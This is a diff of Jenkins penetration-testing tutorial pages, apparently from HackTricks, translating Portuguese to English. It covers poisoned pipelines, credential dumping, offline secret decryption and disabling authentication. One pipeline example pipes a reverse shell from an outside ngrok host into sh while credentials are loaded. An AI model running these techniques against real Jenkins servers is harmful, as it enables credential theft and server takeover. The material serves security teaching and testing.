||||
jenkins-rce-creating-modifying-pipeline.md
|
||||
{{#endref}}
|
||||
|
||||
## Exploração de Pipeline
|
||||
## Pipeline Exploitation
|
||||
|
||||
Para explorar pipelines, você ainda precisa ter acesso ao Jenkins.
|
||||
To exploit pipelines you still need to have access to Jenkins.
|
||||
|
||||
### Pipelines de Build
|
||||
### Build Pipelines
|
||||
|
||||
**Pipelines** também podem ser usados como **mecanismo de build em projetos**, nesse caso pode ser configurado um **arquivo dentro do repositório** que conterá a sintaxe do pipeline. Por padrão, usa-se `/Jenkinsfile`:
|
||||
**Pipelines** can also be used as **build mechanism in projects**, in that case it can be configured a **file inside the repository** that will contains the pipeline syntax. By default `/Jenkinsfile` is used:
|
||||
|
||||
.png>)
|
||||
|
||||
Também é possível **armazenar arquivos de configuração de pipeline em outros lugares** (em outros repositórios, por exemplo) com o objetivo de **separar** o **acesso** ao repositório e o acesso ao pipeline.
|
||||
It's also possible to **store pipeline configuration files in other places** (in other repositories for example) with the goal of **separating** the repository **access** and the pipeline access.
|
||||
|
||||
Se um atacante tiver **acesso de escrita sobre esse arquivo**, ele poderá **modificá-lo** e **potencialmente acionar** o pipeline sem nem mesmo ter acesso ao Jenkins.\
|
||||
É possível que o atacante precise **contornar algumas proteções de branch** (dependendo da plataforma e dos privilégios do usuário, elas podem ser contornadas ou não).
|
||||
If an attacker have **write access over that file** he will be able to **modify** it and **potentially trigger** the pipeline without even having access to Jenkins.\
|
||||
It's possible that the attacker will need to **bypass some branch protections** (depending on the platform and the user privileges they could be bypassed or not).
|
||||
|
||||
Os gatilhos mais comuns para executar um pipeline personalizado são:
|
||||
The most common triggers to execute a custom pipeline are:
|
||||
|
||||
- **Pull request** para a branch principal (ou potencialmente para outras branches)
|
||||
- **Push para a branch principal** (ou potencialmente para outras branches)
|
||||
- **Atualizar a branch principal** e esperar até que seja executado de alguma forma
|
||||
- **Pull request** to the main branch (or potentially to other branches)
|
||||
- **Push to the main branch** (or potentially to other branches)
|
||||
- **Update the main branch** and wait until it's executed somehow
|
||||
|
||||
> [!NOTE]
|
||||
> Se você é um **usuário externo**, não deve esperar criar um **PR para a branch principal** do repositório de **outro usuário/organização** e **acionar o pipeline**... mas se estiver **mal configurado**, você poderia comprometer totalmente empresas apenas explorando isso.
|
||||
> If you are an **external user** you shouldn't expect to create a **PR to the main branch** of the repo of **other user/organization** and **trigger the pipeline**... but if it's **bad configured** you could fully **compromise companies just by exploiting this**.
|
||||
|
||||
### RCE de Pipeline
|
||||
### Pipeline RCE
|
||||
|
||||
Na seção anterior de RCE, já foi indicada uma técnica para [**obter RCE modificando um pipeline**](./#rce-creating-modifying-pipeline).
|
||||
In the previous RCE section it was already indicated a technique to [**get RCE modifying a pipeline**](#rce-creating-modifying-pipeline).
|
||||
|
||||
### Verificando Variáveis de Ambiente
|
||||
### Checking Env variables
|
||||
|
||||
It's possible to declare **clear text env variables** for the whole pipeline or for specific stages. This env variables **shouldn't contain sensitive info**, but and attacker could always **check all the pipeline** configurations/Jenkinsfiles:
|
||||
|
||||
É possível declarar **variáveis de ambiente em texto claro** para todo o pipeline ou para estágios específicos. Essas variáveis de ambiente **não devem conter informações sensíveis**, mas um atacante sempre poderia **verificar todas as configurações do pipeline/Jenkinsfiles:**
|
||||
```bash
|
||||
pipeline {
|
||||
agent {label 'built-in'}
|
||||
environment {
|
||||
GENERIC_ENV_VAR = "Test pipeline ENV variables."
|
||||
}
|
||||
agent {label 'built-in'}
|
||||
environment {
|
||||
GENERIC_ENV_VAR = "Test pipeline ENV variables."
|
||||
}
|
||||
|
||||
stages {
|
||||
stage("Build") {
|
||||
environment {
|
||||
STAGE_ENV_VAR = "Test stage ENV variables."
|
||||
}
|
||||
steps {
|
||||
stages {
|
||||
stage("Build") {
|
||||
environment {
|
||||
STAGE_ENV_VAR = "Test stage ENV variables."
|
||||
}
|
||||
steps {
|
||||
```
|
||||
|
||||
### Dumping secrets
|
||||
|
||||
Para informações sobre como os segredos são geralmente tratados pelo Jenkins, confira as informações básicas:
|
||||
For information about how are secrets usually treated by Jenkins check out the basic information:
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
As credenciais podem ser **escopadas para provedores globais** (`/credentials/`) ou para **projetos específicos** (`/job/<project-name>/configure`). Portanto, para exfiltrar todos eles, você precisa **comprometer pelo menos todos os projetos** que contêm segredos e executar pipelines personalizados/contaminados.
|
||||
Credentials can be **scoped to global providers** (`/credentials/`) or to **specific projects** (`/job/<project-name>/configure`). Therefore, in order to exfiltrate all of them you need to **compromise at least all the projects** that contains secrets and execute custom/poisoned pipelines.
|
||||
|
||||
There is another problem, in order to get a **secret inside the env** of a pipeline you need to **know the name and type of the secret**. For example, you try lo **load** a **`usernamePassword`** **secret** as a **`string`** **secret** you will get this **error**:
|
||||
|
||||
Há outro problema, para obter um **segredo dentro do env** de um pipeline, você precisa **saber o nome e o tipo do segredo**. Por exemplo, se você tentar **carregar** um **segredo** **`usernamePassword`** como um **segredo** **`string`**, você receberá este **erro**:
|
||||
```
|
||||
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
|
||||
```
|
||||
Aqui está a maneira de carregar alguns tipos comuns de segredos:
|
||||
|
||||
Here you have the way to load some common secret types:
|
||||
|
||||
```bash
|
||||
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
|
||||
sh '''
|
||||
env #Search for USERNAME and PASS
|
||||
'''
|
||||
sh '''
|
||||
env #Search for USERNAME and PASS
|
||||
'''
|
||||
}
|
||||
|
||||
withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
|
||||
sh '''
|
||||
env #Search for SECRET
|
||||
'''
|
||||
sh '''
|
||||
env #Search for SECRET
|
||||
'''
|
||||
}
|
||||
|
||||
withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
|
||||
sh '''
|
||||
env # Search for USERPASS
|
||||
'''
|
||||
sh '''
|
||||
env # Search for USERPASS
|
||||
'''
|
||||
}
|
||||
|
||||
# You can also load multiple env variables at once
|
||||
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
|
||||
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
|
||||
sh '''
|
||||
env
|
||||
'''
|
||||
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
|
||||
sh '''
|
||||
env
|
||||
'''
|
||||
}
|
||||
```
|
||||
No final desta página você pode **encontrar todos os tipos de credenciais**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
|
||||
|
||||
At the end of this page you can **find all the credential types**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
|
||||
|
||||
> [!WARNING]
|
||||
> A melhor maneira de **extrair todos os segredos de uma vez** é **comprometendo** a máquina **Jenkins** (executando um shell reverso no **nó embutido**, por exemplo) e então **vazando** as **chaves mestres** e os **segredos criptografados** e descriptografando-os offline.\
|
||||
> Mais sobre como fazer isso na seção [Nodes & Agents](./#nodes-and-agents) e na seção [Post Exploitation](./#post-exploitation).
|
||||
> The best way to **dump all the secrets at once** is by **compromising** the **Jenkins** machine (running a reverse shell in the **built-in node** for example) and then **leaking** the **master keys** and the **encrypted secrets** and decrypting them offline.\
|
||||
> More on how to do this in the [Nodes & Agents section](#nodes-and-agents) and in the [Post Exploitation section](#post-exploitation).
|
||||
|
||||
### Triggers
|
||||
|
||||
Das [documentações](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): A diretiva `triggers` define as **maneiras automatizadas pelas quais o Pipeline deve ser reativado**. Para Pipelines que estão integrados com uma fonte como GitHub ou BitBucket, `triggers` pode não ser necessário, pois a integração baseada em webhooks provavelmente já estará presente. Os gatilhos atualmente disponíveis são `cron`, `pollSCM` e `upstream`.
|
||||
From [the docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): The `triggers` directive defines the **automated ways in which the Pipeline should be re-triggered**. For Pipelines which are integrated with a source such as GitHub or BitBucket, `triggers` may not be necessary as webhooks-based integration will likely already be present. The triggers currently available are `cron`, `pollSCM` and `upstream`.
|
||||
|
||||
Cron example:
|
||||
|
||||
Exemplo de Cron:
|
||||
```bash
|
||||
triggers { cron('H */4 * * 1-5') }
|
||||
```
|
||||
Verifique **outros exemplos na documentação**.
|
||||
|
||||
### Nós e Agentes
|
||||
Check **other examples in the docs**.
|
||||
|
||||
Uma **instância do Jenkins** pode ter **diferentes agentes rodando em diferentes máquinas**. Do ponto de vista de um atacante, o acesso a diferentes máquinas significa **diferentes credenciais de nuvem potenciais** para roubar ou **diferente acesso à rede** que poderia ser abusado para explorar outras máquinas.
|
||||
### Nodes & Agents
|
||||
|
||||
Para mais informações, verifique as informações básicas:
|
||||
A **Jenkins instance** might have **different agents running in different machines**. From an attacker perspective, access to different machines means **different potential cloud credentials** to steal or **different network access** that could be abuse to exploit other machines.
|
||||
|
||||
For more information check the basic information:
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
Você pode enumerar os **nós configurados** em `/computer/`, você geralmente encontrará o \*\*`Built-In Node` \*\* (que é o nó que executa o Jenkins) e potencialmente mais:
|
||||
You can enumerate the **configured nodes** in `/computer/`, you will usually find the \*\*`Built-In Node` \*\* (which is the node running Jenkins) and potentially more:
|
||||
|
||||
.png>)
|
||||
|
||||
É **especialmente interessante comprometer o nó Built-In** porque ele contém informações sensíveis do Jenkins.
|
||||
It is **specially interesting to compromise the Built-In node** because it contains sensitive Jenkins information.
|
||||
|
||||
To indicate you want to **run** the **pipeline** in the **built-in Jenkins node** you can specify inside the pipeline the following config:
|
||||
|
||||
Para indicar que você deseja **executar** o **pipeline** no **nó Jenkins embutido**, você pode especificar dentro do pipeline a seguinte configuração:
|
||||
```bash
|
||||
pipeline {
|
||||
agent {label 'built-in'}
|
||||
agent {label 'built-in'}
|
||||
```
|
||||
### Exemplo completo
|
||||
|
||||
Pipeline em um agente específico, com um gatilho cron, com variáveis de ambiente de pipeline e estágio, carregando 2 variáveis em um passo e enviando um shell reverso:
|
||||
### Complete example
|
||||
|
||||
Pipeline in an specific agent, with a cron trigger, with pipeline and stage env variables, loading 2 variables in a step and sending a reverse shell:
|
||||
|
||||
```bash
|
||||
pipeline {
|
||||
agent {label 'built-in'}
|
||||
triggers { cron('H */4 * * 1-5') }
|
||||
environment {
|
||||
GENERIC_ENV_VAR = "Test pipeline ENV variables."
|
||||
}
|
||||
agent {label 'built-in'}
|
||||
triggers { cron('H */4 * * 1-5') }
|
||||
environment {
|
||||
GENERIC_ENV_VAR = "Test pipeline ENV variables."
|
||||
}
|
||||
|
||||
stages {
|
||||
stage("Build") {
|
||||
environment {
|
||||
STAGE_ENV_VAR = "Test stage ENV variables."
|
||||
}
|
||||
steps {
|
||||
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
|
||||
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
|
||||
sh '''
|
||||
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
|
||||
'''
|
||||
}
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage("Build") {
|
||||
environment {
|
||||
STAGE_ENV_VAR = "Test stage ENV variables."
|
||||
}
|
||||
steps {
|
||||
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
|
||||
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
|
||||
sh '''
|
||||
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
|
||||
'''
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
post {
|
||||
always {
|
||||
cleanWs()
|
||||
}
|
||||
}
|
||||
post {
|
||||
always {
|
||||
cleanWs()
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
## Leitura Arbitrária de Arquivo para RCE
|
||||
|
||||
## Arbitrary File Read to RCE
|
||||
|
||||
{{#ref}}
|
||||
jenkins-arbitrary-file-read-to-rce-via-remember-me.md
|
||||
@@ -306,17 +326,19 @@ jenkins-rce-creating-modifying-project.md
|
||||
jenkins-rce-creating-modifying-pipeline.md
|
||||
{{#endref}}
|
||||
|
||||
## Pós Exploração
|
||||
## Post Exploitation
|
||||
|
||||
### Metasploit
|
||||
|
||||
```
|
||||
msf> post/multi/gather/jenkins_gather
|
||||
```
|
||||
|
||||
### Jenkins Secrets
|
||||
|
||||
Você pode listar os segredos acessando `/credentials/` se tiver permissões suficientes. Note que isso listará apenas os segredos dentro do arquivo `credentials.xml`, mas **arquivos de configuração de build** também podem ter **mais credenciais**.
|
||||
You can list the secrets accessing `/credentials/` if you have enough permissions. Note that this will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**.
|
||||
|
||||
Se você pode **ver a configuração de cada projeto**, você também pode ver lá os **nomes das credenciais (segredos)** sendo usados para acessar o repositório e **outras credenciais do projeto**.
|
||||
If you can **see the configuration of each project**, you can also see in there the **names of the credentials (secrets)** being use to access the repository and **other credentials of the project**.
|
||||
|
||||
.png>)
|
||||
|
||||
@@ -328,18 +350,19 @@ jenkins-dumping-secrets-from-groovy.md
|
||||
|
||||
#### From disk
|
||||
|
||||
Esses arquivos são necessários para **decriptar segredos do Jenkins**:
|
||||
These files are needed to **decrypt Jenkins secrets**:
|
||||
|
||||
- secrets/master.key
|
||||
- secrets/hudson.util.Secret
|
||||
|
||||
Tais **segredos geralmente podem ser encontrados em**:
|
||||
Such **secrets can usually be found in**:
|
||||
|
||||
- credentials.xml
|
||||
- jobs/.../build.xml
|
||||
- jobs/.../config.xml
|
||||
|
||||
Aqui está uma regex para encontrá-los:
|
||||
Here's a regex to find them:
|
||||
|
||||
```bash
|
||||
# Find the secrets
|
||||
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
|
||||
@@ -349,9 +372,11 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
|
||||
# Secret example
|
||||
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
|
||||
```
|
||||
#### Decryptar segredos do Jenkins offline
|
||||
|
||||
Se você tiver despejado as **senhas necessárias para descriptografar os segredos**, use [**este script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **para descriptografar esses segredos**.
|
||||
#### Decrypt Jenkins secrets offline
|
||||
|
||||
If you have dumped the **needed passwords to decrypt the secrets**, use [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **to decrypt those secrets**.
|
||||
|
||||
```bash
|
||||
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
|
||||
06165DF2-C047-4402-8CAB-1C8EC526C115
|
||||
@@ -359,20 +384,23 @@ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
|
||||
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
|
||||
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
|
||||
```
|
||||
#### Descriptografar segredos do Jenkins a partir do Groovy
|
||||
|
||||
#### Decrypt Jenkins secrets from Groovy
|
||||
|
||||
```bash
|
||||
println(hudson.util.Secret.decrypt("{...}"))
|
||||
```
|
||||
### Criar novo usuário administrador
|
||||
|
||||
1. Acesse o arquivo config.xml do Jenkins em `/var/lib/jenkins/config.xml` ou `C:\Program Files (x86)\Jenkis\`
|
||||
2. Procure a palavra `<useSecurity>true</useSecurity>` e mude a palavra **`true`** para **`false`**.
|
||||
1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
|
||||
3. **Reinicie** o servidor **Jenkins**: `service jenkins restart`
|
||||
4. Agora vá para o portal do Jenkins novamente e **Jenkins não pedirá credenciais** desta vez. Navegue até "**Gerenciar Jenkins**" para definir a **senha do administrador novamente**.
|
||||
5. **Ative** a **segurança** novamente alterando as configurações para `<useSecurity>true</useSecurity>` e **reinicie o Jenkins novamente**.
|
||||
### Create new admin user
|
||||
|
||||
## Referências
|
||||
1. Access the Jenkins config.xml file in `/var/lib/jenkins/config.xml` or `C:\Program Files (x86)\Jenkis\`
|
||||
2. Search for the word `<useSecurity>true</useSecurity>`and change the word \*\*`true` \*\* to **`false`**.
|
||||
1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
|
||||
3. **Restart** the **Jenkins** server: `service jenkins restart`
|
||||
4. Now go to the Jenkins portal again and **Jenkins will not ask any credentials** this time. You navigate to "**Manage Jenkins**" to set the **administrator password again**.
|
||||
5. **Enable** the **security** again by changing settings to `<useSecurity>true</useSecurity>` and **restart the Jenkins again**.
|
||||
|
||||
## References
|
||||
|
||||
- [https://github.com/gquere/pwn_jenkins](https://github.com/gquere/pwn_jenkins)
|
||||
- [https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/](https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/)
|
||||
@@ -382,3 +410,6 @@ println(hudson.util.Secret.decrypt("{...}"))
|
||||
- [https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3](https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,87 +1,87 @@
|
||||
# Informações Básicas do Jenkins
|
||||
# Basic Jenkins Information
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Acesso
|
||||
## Access
|
||||
|
||||
### Nome de Usuário + Senha
|
||||
### Username + Password
|
||||
|
||||
A maneira mais comum de fazer login no Jenkins é com um nome de usuário ou uma senha.
|
||||
The most common way to login in Jenkins if with a username or a password
|
||||
|
||||
### Cookie
|
||||
|
||||
Se um **cookie autorizado for roubado**, ele pode ser usado para acessar a sessão do usuário. O cookie geralmente é chamado de `JSESSIONID.*`. (Um usuário pode encerrar todas as suas sessões, mas precisaria descobrir primeiro que um cookie foi roubado).
|
||||
If an **authorized cookie gets stolen**, it ca be used to access the session of the user. The cookie is usually called `JSESSIONID.*`. (A user can terminate all his sessions, but he would need to find out first that a cookie was stolen).
|
||||
|
||||
### SSO/Plugins
|
||||
|
||||
O Jenkins pode ser configurado usando plugins para ser **acessível via SSO de terceiros**.
|
||||
Jenkins can be configured using plugins to be **accessible via third party SSO**.
|
||||
|
||||
### Tokens
|
||||
|
||||
**Os usuários podem gerar tokens** para dar acesso a aplicativos para se passar por eles via CLI ou REST API.
|
||||
**Users can generate tokens** to give access to applications to impersonate them via CLI or REST API.
|
||||
|
||||
### Chaves SSH
|
||||
### SSH Keys
|
||||
|
||||
Este componente fornece um servidor SSH embutido para o Jenkins. É uma interface alternativa para o [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), e os comandos podem ser invocados dessa forma usando qualquer cliente SSH. (Das [docs](https://plugins.jenkins.io/sshd/))
|
||||
This component provides a built-in SSH server for Jenkins. It’s an alternative interface for the [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), and commands can be invoked this way using any SSH client. (From the [docs](https://plugins.jenkins.io/sshd/))
|
||||
|
||||
## Autorização
|
||||
## Authorization
|
||||
|
||||
Em `/configureSecurity` é possível **configurar o método de autorização do Jenkins**. Existem várias opções:
|
||||
In `/configureSecurity` it's possible to **configure the authorization method of Jenkins**. There are several options:
|
||||
|
||||
- **Qualquer um pode fazer qualquer coisa**: Até o acesso anônimo pode administrar o servidor.
|
||||
- **Modo legado**: Mesmo que o Jenkins <1.164. Se você tiver a **função "admin"**, terá **controle total** sobre o sistema, e **caso contrário** (incluindo usuários **anônimos**) você terá acesso **somente leitura**.
|
||||
- **Usuários logados podem fazer qualquer coisa**: Neste modo, cada **usuário logado tem controle total** do Jenkins. O único usuário que não terá controle total é o **usuário anônimo**, que terá **acesso somente leitura**.
|
||||
- **Segurança baseada em matriz**: Você pode configurar **quem pode fazer o quê** em uma tabela. Cada **coluna** representa uma **permissão**. Cada **linha** **representa** um **usuário ou um grupo/função.** Isso inclui um usuário especial '**anônimo**', que representa **usuários não autenticados**, bem como '**autenticado**', que representa **todos os usuários autenticados**.
|
||||
- **Anyone can do anything**: Even anonymous access can administrate the server
|
||||
- **Legacy mode**: Same as Jenkins <1.164. If you have the **"admin" role**, you'll be granted **full control** over the system, and **otherwise** (including **anonymous** users) you'll have **read** access.
|
||||
- **Logged-in users can do anything**: In this mode, every **logged-in user gets full control** of Jenkins. The only user who won't have full control is **anonymous user**, who only gets **read access**.
|
||||
- **Matrix-based security**: You can configure **who can do what** in a table. Each **column** represents a **permission**. Each **row** **represents** a **user or a group/role.** This includes a special user '**anonymous**', which represents **unauthenticated users**, as well as '**authenticated**', which represents **all authenticated users**.
|
||||
|
||||
.png>)
|
||||
|
||||
- **Estratégia de Autorização Baseada em Projeto:** Este modo é uma **extensão** da "**segurança baseada em matriz**" que permite que uma matriz ACL adicional seja **definida para cada projeto separadamente.**
|
||||
- **Estratégia Baseada em Função:** Permite definir autorizações usando uma **estratégia baseada em função**. Gerencie as funções em `/role-strategy`.
|
||||
- **Project-based Matrix Authorization Strategy:** This mode is an **extension** to "**Matrix-based security**" that allows additional ACL matrix to be **defined for each project separately.**
|
||||
- **Role-Based Strategy:** Enables defining authorizations using a **role-based strategy**. Manage the roles in `/role-strategy`.
|
||||
|
||||
## **Reino de Segurança**
|
||||
## **Security Realm**
|
||||
|
||||
Em `/configureSecurity` é possível **configurar o reino de segurança.** Por padrão, o Jenkins inclui suporte para alguns Reinos de Segurança diferentes:
|
||||
In `/configureSecurity` it's possible to **configure the security realm.** By default Jenkins includes support for a few different Security Realms:
|
||||
|
||||
- **Delegar para o contêiner de servlet**: Para **delegar a autenticação a um contêiner de servlet que executa o controlador Jenkins**, como [Jetty](https://www.eclipse.org/jetty/).
|
||||
- **Banco de dados de usuários do Jenkins:** Use **o próprio armazenamento de dados de usuários embutido do Jenkins** para autenticação em vez de delegar a um sistema externo. Isso é habilitado por padrão.
|
||||
- **LDAP**: Delegar toda a autenticação a um servidor LDAP configurado, incluindo usuários e grupos.
|
||||
- **Banco de dados de usuários/grupos Unix**: **Delegar a autenticação ao banco de dados de usuários** do sistema operacional Unix subjacente no controlador Jenkins. Este modo também permitirá a reutilização de grupos Unix para autorização.
|
||||
- **Delegate to servlet container**: For **delegating authentication a servlet container running the Jenkins controller**, such as [Jetty](https://www.eclipse.org/jetty/).
|
||||
- **Jenkins’ own user database:** Use **Jenkins’s own built-in user data store** for authentication instead of delegating to an external system. This is enabled by default.
|
||||
- **LDAP**: Delegate all authentication to a configured LDAP server, including both users and groups.
|
||||
- **Unix user/group database**: **Delegates the authentication to the underlying Unix** OS-level user database on the Jenkins controller. This mode will also allow re-use of Unix groups for authorization.
|
||||
|
||||
Plugins podem fornecer reinos de segurança adicionais que podem ser úteis para incorporar o Jenkins em sistemas de identidade existentes, como:
|
||||
Plugins can provide additional security realms which may be useful for incorporating Jenkins into existing identity systems, such as:
|
||||
|
||||
- [Active Directory](https://plugins.jenkins.io/active-directory)
|
||||
- [Autenticação GitHub](https://plugins.jenkins.io/github-oauth)
|
||||
- [GitHub Authentication](https://plugins.jenkins.io/github-oauth)
|
||||
- [Atlassian Crowd 2](https://plugins.jenkins.io/crowd2)
|
||||
|
||||
## Nós, Agentes e Executores do Jenkins
|
||||
## Jenkins Nodes, Agents & Executors
|
||||
|
||||
Definições das [docs](https://www.jenkins.io/doc/book/managing/nodes/):
|
||||
Definitions from the [docs](https://www.jenkins.io/doc/book/managing/nodes/):
|
||||
|
||||
**Nós** são as **máquinas** nas quais os **agentes de construção** são executados. O Jenkins monitora cada nó conectado em relação ao espaço em disco, espaço temporário livre, swap livre, hora/sincronização do relógio e tempo de resposta. Um nó é desconectado se qualquer um desses valores ultrapassar o limite configurado.
|
||||
**Nodes** are the **machines** on which build **agents run**. Jenkins monitors each attached node for disk space, free temp space, free swap, clock time/sync and response time. A node is taken offline if any of these values go outside the configured threshold.
|
||||
|
||||
**Agentes** **gerenciam** a **execução de tarefas** em nome do controlador Jenkins **usando executores**. Um agente pode usar qualquer sistema operacional que suporte Java. Ferramentas necessárias para construções e testes são instaladas no nó onde o agente é executado; elas podem **ser instaladas diretamente ou em um contêiner** (Docker ou Kubernetes). Cada **agente é efetivamente um processo com seu próprio PID** na máquina host.
|
||||
**Agents** **manage** the **task execution** on behalf of the Jenkins controller by **using executors**. An agent can use any operating system that supports Java. Tools required for builds and tests are installed on the node where the agent runs; they can **be installed directly or in a container** (Docker or Kubernetes). Each **agent is effectively a process with its own PID** on the host machine.
|
||||
|
||||
Um **executor** é um **slot para execução de tarefas**; efetivamente, é **uma thread no agente**. O **número de executores** em um nó define o número de **tarefas concorrentes** que podem ser executadas nesse nó ao mesmo tempo. Em outras palavras, isso determina o **número de `stages` de Pipeline concorrentes** que podem ser executados nesse nó ao mesmo tempo.
|
||||
An **executor** is a **slot for execution of tasks**; effectively, it is **a thread in the agent**. The **number of executors** on a node defines the number of **concurrent tasks** that can be executed on that node at one time. In other words, this determines the **number of concurrent Pipeline `stages`** that can execute on that node at one time.
|
||||
|
||||
## Segredos do Jenkins
|
||||
## Jenkins Secrets
|
||||
|
||||
### Criptografia de Segredos e Credenciais
|
||||
### Encryption of Secrets and Credentials
|
||||
|
||||
Definição das [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): O Jenkins usa **AES para criptografar e proteger segredos**, credenciais e suas respectivas chaves de criptografia. Essas chaves de criptografia são armazenadas em `$JENKINS_HOME/secrets/` junto com a chave mestre usada para proteger essas chaves. Este diretório deve ser configurado para que apenas o usuário do sistema operacional sob o qual o controlador Jenkins está sendo executado tenha acesso de leitura e gravação a este diretório (ou seja, um valor `chmod` de `0700` ou usando atributos de arquivo apropriados). A **chave mestre** (às vezes referida como "chave de criptografia" em jargão criptográfico) é **armazenada \_não criptografada\_** no sistema de arquivos do controlador Jenkins em **`$JENKINS_HOME/secrets/master.key`** que não protege contra atacantes com acesso direto a esse arquivo. A maioria dos usuários e desenvolvedores usará essas chaves de criptografia indiretamente, seja através da API [Secret](https://javadoc.jenkins.io/byShortName/Secret) para criptografar dados secretos genéricos ou através da API de credenciais. Para os curiosos sobre criptografia, o Jenkins usa AES no modo de encadeamento de bloco de cifra (CBC) com preenchimento PKCS#5 e IVs aleatórios para criptografar instâncias de [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) que são armazenadas em `$JENKINS_HOME/secrets/` com um nome de arquivo correspondente ao seu id de `CryptoConfidentialKey`. IDs de chave comuns incluem:
|
||||
Definition from the [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins uses **AES to encrypt and protect secrets**, credentials, and their respective encryption keys. These encryption keys are stored in `$JENKINS_HOME/secrets/` along with the master key used to protect said keys. This directory should be configured so that only the operating system user the Jenkins controller is running as has read and write access to this directory (i.e., a `chmod` value of `0700` or using appropriate file attributes). The **master key** (sometimes referred to as a "key encryption key" in cryptojargon) is **stored \_unencrypted**\_ on the Jenkins controller filesystem in **`$JENKINS_HOME/secrets/master.key`** which does not protect against attackers with direct access to that file. Most users and developers will use these encryption keys indirectly via either the [Secret](https://javadoc.jenkins.io/byShortName/Secret) API for encrypting generic secret data or through the credentials API. For the cryptocurious, Jenkins uses AES in cipher block chaining (CBC) mode with PKCS#5 padding and random IVs to encrypt instances of [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) which are stored in `$JENKINS_HOME/secrets/` with a filename corresponding to their `CryptoConfidentialKey` id. Common key ids include:
|
||||
|
||||
- `hudson.util.Secret`: usado para segredos genéricos;
|
||||
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: usado para alguns tipos de credenciais;
|
||||
- `jenkins.model.Jenkins.crumbSalt`: usado pelo [mecanismo de proteção CSRF](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); e
|
||||
- `hudson.util.Secret`: used for generic secrets;
|
||||
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: used for some credentials types;
|
||||
- `jenkins.model.Jenkins.crumbSalt`: used by the [CSRF protection mechanism](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); and
|
||||
|
||||
### Acesso a Credenciais
|
||||
### Credentials Access
|
||||
|
||||
As credenciais podem ser **escopadas para provedores globais** (`/credentials/`) que podem ser acessados por qualquer projeto configurado, ou podem ser escopadas para **projetos específicos** (`/job/<project-name>/configure`) e, portanto, acessíveis apenas a partir do projeto específico.
|
||||
Credentials can be **scoped to global providers** (`/credentials/`) that can be accessed by any project configured, or can be scoped to **specific projects** (`/job/<project-name>/configure`) and therefore only accessible from the specific project.
|
||||
|
||||
